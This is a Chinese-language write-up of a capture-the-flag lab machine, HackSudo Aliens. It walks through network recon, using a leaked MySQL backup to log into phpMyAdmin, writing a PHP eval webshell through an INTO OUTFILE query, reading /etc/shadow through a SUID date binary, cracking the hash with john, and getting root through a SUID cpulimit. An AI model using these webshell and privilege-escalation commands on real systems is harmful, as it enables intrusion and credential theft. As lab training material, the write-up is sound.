不定期渗透日记:HackSudo Aliens - WHOAMIBunny

admin 2021年12月31日15:41:25评论82 views字数 2131阅读7分6秒阅读模式

不定期渗透日记:HackSudo Aliens

[toc]

前言

本次渗透皆为靶机环境,实则为上一篇靶机 Prime level 1 的后续。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

Description

Back to the Top

This box should be easy . This machine was created for the InfoSec Prep Discord Server (https://discord.gg/tsEQqDJh)

The box was created with Virtualbox ,but it should work with VMWare Player and VMWare workstation Upon booting up use netdiscover tool to find IP address. This is the target address based on whatever settings you have. You should verify the address just incase.

Find the user.txt and root.txt flag submit it to the mybox channel on Discord and get chance to get hacksudo machine hacking course free .

Do publish write ups for this box if you can and email me copy on [email protected]

Box created by vishal Waghmare

本次渗透涉及到的关键知识点:

  • Web 信息收集
  • MySQL 写 Webshell
  • Date 命令 SUID 提权利用
  • Cpulimit 命令 SUID 提权利用
  • John 爆破哈希
  • ......

信息收集

首先使用 Kali 中的 arp-scan 工具扫描内网资产:

arp-scan --interface=eth0 192.168.226.0/24

发现目标主机 192.168.226.135,使用 nmap 扫描其端口服务等信息:

nmap -sC -sV -p- -sT 192.168.226.135

开了三个端口,首先查看 9000 端口,发现是一个 phpmyadmin:

然后查看 80 口:

一个很普通的站点,使用 dirsearch 扫描目录:

dirsearch -u http://192.168.226.135/ -e* -w /usr/share/dirb/wordlists/common.txt

发现一个 backup 备份,访问:

发现一个 mysql 备份文件,下载下来在里面发现了 MySQL 的用户名和密码:

用这个用户名密码成功登录之前那个 phpmyadmin:

首先执行 sql 语句查看是否设置了 secure_file_priv 选项:

show variables like '%secure_file_priv%';

secure_file_priv 值为空,那我们便可以通过 MySql 写入Webshell:

select "<?php @eval($_POST[whoami]);?>" into outfile '/var/www/html/shell.php';

蚁剑成功连接:

使用 netcat 反弹个 Shell:

权限提升

首先尝试 SUID 提权:

find / -perm -u=s -type f 2>/dev/null

没有发现常用的 SUID 提权命令,但是有一个 /usr/bin/date 命令可以尝试一下。我们去 Linux 提权辅助网站 Gtfobins 上面搜一下,确实发现了 date 命令的 SUID 提权利用方法:

大概意思就是我们可以通过以下形式以 root 权限来读取系统文件:

LFILE=file_to_read
./date -f $LFILE

如下,我们尝试读取 /etc/shadow 文件,该文件用于存储 Linux 系统中用户的密码信息:

LFILE=/etc/shadow
/usr/bin/date -f $LFILE

如上图所示,在使用 date 之前没有读取 /etc/shadow 的权限,使用 date 提权之后成功读取到了 /etc/shadow 的内容。然后我们就可以使用 john 工具对 hacksudo 用户的哈希进行暴力破解了:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

爆破成功,得到 hacksudo 的密码为 aliens:

拿到 hacksudo 的密码之直接接切换到 hacksudo:

再次尝试 SUID 提权:

find / -perm -u=s -type f 2>/dev/null

如上图所示,在 hacksudo 的下载目录中发现了一个 cpulimit,这个工具是用来查看 CPU 使用情况的,在 Gtfobins 上面也可以找到他的 SUID 提权方法:

根据文档尝试提权:

/home/hacksudo/Downloads/cpulimit -l 100 -f -- /bin/sh -p

如上图所示,成功提权。

然后在 /root 目录中刚发现了 flag:

Ending......

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:41:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不定期渗透日记:HackSudo Aliens - WHOAMIBunnyhttps://cn-sec.com/archives/712239.html

发表评论

匿名网友 填写信息